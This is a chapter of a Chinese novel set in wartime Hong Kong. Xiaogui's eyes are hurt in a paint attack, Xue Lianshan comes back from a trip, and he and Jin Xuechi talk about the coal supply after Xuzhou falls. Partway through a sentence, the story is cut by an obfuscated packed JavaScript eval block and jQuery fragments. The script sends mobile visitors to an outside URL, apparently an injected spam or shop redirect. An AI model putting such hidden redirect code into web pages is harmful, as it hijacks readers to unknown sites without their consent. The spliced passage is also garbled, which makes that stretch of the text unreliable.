“苏北怎么了？你就是临着上海，现在也不和我一样在这里帮佣？”


    “哎，你这......也太北了！都快到山东了。”小桂撅起嘴，之前以为和他是“他乡遇故知”，但因为苏州在很靠南的位置，想起徐州，都觉得不是江苏的一部分，是北方。徐州无论是饮食还是方言，也都跟山东更像。“你都不说吴语！你说‘我’，说的是‘俺’？你说一个听听？”


    定青很受冒犯，他是从不拿薛莲山当挡箭牌的，头一次，他说：“薛先生跟我是老乡！”


    小桂一听薛先生，就没什么可说的了。定青仍然不高兴，站起来把报道又读了一遍，觉得自己真是多余跟她说这回事，江苏都快沦陷了，她还在计较苏南苏北。蠢得没救了。他当时就不该特意挑个江苏人回来，随便找个香港姑娘，谁管你苏南苏北的？


    第二早，小桂叮铃哐当地大力摆盘子，定青拉着一张驴脸，看也不看她。因为是周末，金雪池沉浸在自己的绘画艺术中，有人敲门，她也不理睬。


    小桂道：“收房租的来啦！”


    定青只有腮帮子耸动，用力咀嚼早餐。几秒后，她跳起来骂道：“你要死啊？聋了？”


    金雪池还以为她在骂自己，一哆嗦，站起身，就看到小桂已经气鼓鼓地去开门了。一缝太阳光射进来，然后一声尖叫，定青立刻冲过去，油漆立刻又兜头盖脸地泼过来。


    金雪池都不知道他冲那么远干什么，把两人一手一个拽回来，然后关上门。油漆哗哗地溅到门上、墙上、窗上，他们没工夫搭理了，定青把小桂拉到厨房，拧开水龙头让她冲眼睛。几秒后，电又断了。


    小桂呸呸往外吐了几口油漆，一直揉眼睛，金雪池直接伸手把她的上下眼睑翻起来，让水流对着眼珠子冲。


    “哎哟哎哟哎哟——”


    “不能揉，油漆里有颗粒的。”


    小桂哭道：“哎哟哎哟哎哟......杀千刀的，讨债的，呸，一群狗.......”


    冲了好久好久，金雪池想打开台灯照一照小桂的眼睛，可是没有电。只好拉着她站到窗边，拿一块小粉镜子反射外头的太阳光，有很亮的一块斑映在她的眼睛上，把眼瞳映成澄澈的浅棕色。


    “唔，没有残留，”金雪池说，“现在去医院吗？”


    “我可不想去医院，人太多了，排一上午的队。”


    “好吧，那定青去买抗生素类的眼药水，预防感染。”


    感觉没有自己什么事了，金雪池又飘飘然回了书房，继续艺术之旅。


    接下来几天小桂的眼睛都是红的，不能做事，就闭眼躺着。定青时不时扒开她的眼皮看一看，点眼药水，虽然不和她说话。


    她的左眼先好了，右眼还有点红肿流泪，某天嫌闷，不肯在房里歇着，就用手帕捂着右眼站在路边，看定青用酒精擦窗户上的油漆。天气变热了，定青光着膀子，因为用了很大的力气、擦得玻璃都吱吱响，背上出了一层薄汗。


    擦一面玻璃用了半桶水，小桂想把手帕在水桶里蘸湿，刚伸手过去，定青就一把夺过捅，兜头浇下，浑身凉快。


    小桂只好重新盖住眼睛，咯咯笑道：“小气！算我错了好不好？”


    “你哪里错了？”


    “苏北，很好——”


    “哪里好？”


    “就是因为靠着山东，你才这么高。”


    定青笑了，他是很少笑的，总是一种很诚实、认真的表情，就显得人很木讷；笑起来却是很有神采的。小桂用一只眼睛瞅着他，也笑，在他湿漉漉的背上拍了一把。


    隔天，薛莲山回了。


    他这次去了一个半月，简直一刻没有休息的，坐船坐火车坐巴士坐汽车乃至于骑了一段路的马，浑身骨头要散架。一回来，看到门口的草都是红色的，就知道遭人泼油漆了。又听说小桂被泼到眼睛了，惊道：“没去医院吗？”


    “没有，都快好了。”


    “我看看。”他凑过去，用两根手指拨开小桂的眼皮，专注地往里瞧着。


    定青在一边，简直心头一跳。小桂也屏住了呼吸，眼珠子都不敢乱转，直瞪着他，两人的距离不过三寸。


    他的手指力度很轻，他的睫毛很长，眼睛很漂亮。


    薛莲山此刻是一点杂念也没有，这点与女人的接触对他来说屁都不算。他心里很过意不去：自己欠了债，小桂因此受了伤害。没有这样做人的。


    “下眼睑还是有点肿。”他说，声音近在咫尺，小桂甚至能听到他的胸腔是如何震动发声，正想听个仔细，他退了回去，道：“还是去医院看看吧。”


    “真的不用了，另一只眼睛前几天也肿，现在完全好了。能自己好的。”


    他坚持道：“不——”


    楼梯上忽然响起一串急促的木屐声，金雪池噼里啪啦地跑下来，头发都没梳，站到了他面前。站定了，也不说话，开始伸手拨刘海。


    薛莲山没等到她说话，所有心思都在小桂身上，就继续道：“不行，趁医院没下班，现在就去。”


    他强硬地开车带她去了，就算不为她，也要为他自己做主子的名声。


    挂了号，其实已经到下班时间，但医生非得把病人看完不可，因此异常烦躁、速度异常快。小桂的屁股刚一挨凳面，医生拿手电筒往她眼睛里一晃，立刻就说：“抗生素眼药水——下一位！”


    全程不到十秒钟，要去他们四港币。


    坐在返程的车上，小桂心绪纷乱，一会儿纠结钱，一会儿觉得车内静静的，好香。薛莲山此前一直用香水，她不知道，来香港后不用了，前一阵子袁孝慈送了一瓶，又开始用。车窗开了一半，温热的、涌动的气流中，小桂屁股不动，上身随着汽车的起伏而被动摇晃着，像是水上的飘萍。晃着晃着，自己也惘然。


    那香气，她都不知道是从他的衣物上散发出来的，还是她的心境。


    忽然，薛莲山拍了一下喇叭，笑了一声。小桂一个激灵，忙问道：“怎么了？”


    “不是什么大事，”薛莲山笑道，“哈哈！”


    于是一阵热风吹来，她打着旋儿飘远了。他独自一人，仍是“宛在水中央”，得到了乐趣，她一无所知。


    薛莲山后半段开车开得很快，风驰电掣的，车刚刹住，拔了钥匙就往里走。在门厅处换鞋的时候，吃晚饭吃到一半的金雪池又跑出来了，什么都不做，就看着他换鞋。他换好了，她转身要回去吃饭，被他拦腰一把抱回来了。


    他笑嘻嘻道，“你这是在——迎接我回家？”


    上回和她发生龃龉，他抱怨自己大老远回来，金雪池从不欢迎。她似乎不认同这一行为的必要性，但她记住了。


    薛莲山越想越觉得可爱，并非是傻气的可爱，也非是稚气的可爱，究竟可爱在哪里了，他也说不好，但他恨不得咬她一口。金雪池不料他恩将仇报，用力一推，逃之夭夭了。


    晚上谈起徐州陷落，他叹道：“徐州一丢，津浦铁路算是被掐断了。本来华东的煤炭几乎全靠华北和苏北供应，现在要全面断供，别说工业生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360339|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    产，家用照明都成问题。我见到许豫生，他说现在的调整政策就是川煤东运，大后方主要就靠四川、贵州了。另外，开发湘赣本地煤，通过粤汉铁路、浙赣铁路供应华中、华南。”


    金雪池对有哪几道铁路一无所知，努力听着，因为他过去不跟她谈正事。


    “西南地区的煤矿产业非常落后，现在北方都用蒸气绞车，西南90%以上的煤矿还在用镐头、背篓，全靠人力开采。管理也是乱七八糟。许豫生想让我去当个专员。”


    “你去吗？”


    “我要是身体好就去了。那边从零开始，是要带队勘探、下地的，我再钻不得煤窑了。我跟他说了我的计划，大后方缺煤，直接进口美国的加工煤，反正国内的加工技术不过关，设一堆厂子，除杂质也除不明白，不如直接进口。他这人厚道，虽然我不答应他的请求，他倒答应我的请求，跟我签了合约。”


    “那么，你是钦差大臣了！”


    “不错！”薛莲山很得意地一笑，“中国人只能在美国当贩夫走卒，不许做大生意。除非有官方合作项目。我现在就是钦差大臣，能到美国去当老板。那边华人有如此地位的，可不多见。”


    他高兴，金雪池也高兴，问了一堆问题。官价比民间价格贵还是便宜？减关税吗？是你去联系生产商还是他们去联系？你能捞到一官半职吗？你继母和兄弟是不是还在徐州，你不管吗？那你兄弟要是死了，有遗产给你吗？


    对于有耐心作答的人，她喜欢打破砂锅问到底，之前只有金文彬愿意搭理她。现在薛莲山也愿意搭理她。他是适合当老师、当家长的那种人，回答问题是一种娓娓道来式的口气，说着说着，就捏住了她的手。她的手和脸一样，皮肉很紧实，是细细的圆柱状，握笔的位置有茧。不是硬壳茧，是肉垫茧，摁上去不痛不痒。


    “没有遗产，只有债务和孩子。”他说，“所以还是装不认识吧。除非是晚娘找我。”


    “便宜儿子都不要，但是愿意赡养你继母？”


    “晚娘对我仁至义尽了。前十几年我都没见过几个女人，一个娘，一个晚娘，一个汪妈，都是贵人。”他顺着她的手指骨，一节一节地按，“我受了女性很多恩惠，多到甚至让我认为慈悲是你们的天性。配眼镜，是一位朋友的太太提醒的；跳舞，是一位以伴舞为生的小姐教的......”


    金雪池道：“不仅她们慈悲，其实你也慈悲。”


    薛莲山忽然有种微妙的感觉。打个比方，甲对乙议论“那个人的手表真阔气”，乙一般会说：“是吗？他的手表是什么牌子的？”这是正常人的思路。倘若有一天乙开始说：“你的表也不赖呀！”


    那证明乙想甲想得太多了。


    何况在此之前，他没听人这么说过，感到很新鲜，“和我沾边的，就一个名字听起来比较慈悲。”


    “这名字确实没的说。不过呢，不是每一个人在经受过别人的坏后，仍然能理解别人。”金雪池咕哝道，“其实大家都是普通人，善恶、性情与能力都不鲜明，因为几件事，浅显地爱来恨去，不会被真正理解。你晚母把其他人当下人使唤，其他人最多不记恨，不会说她是贵人。你这么自恋，还有余力‘注视’别人......”


    薛莲山在她手背上一拍，“到底是什么行为让你觉得我自恋？我没有喋喋不休地吹嘘自己吧？除了上发霜和剃须也不照镜子吧？”


    “没有特定的行为，是一种综合感觉。”


    “没人这样说过。”他笑了，“你也在注视我吗？”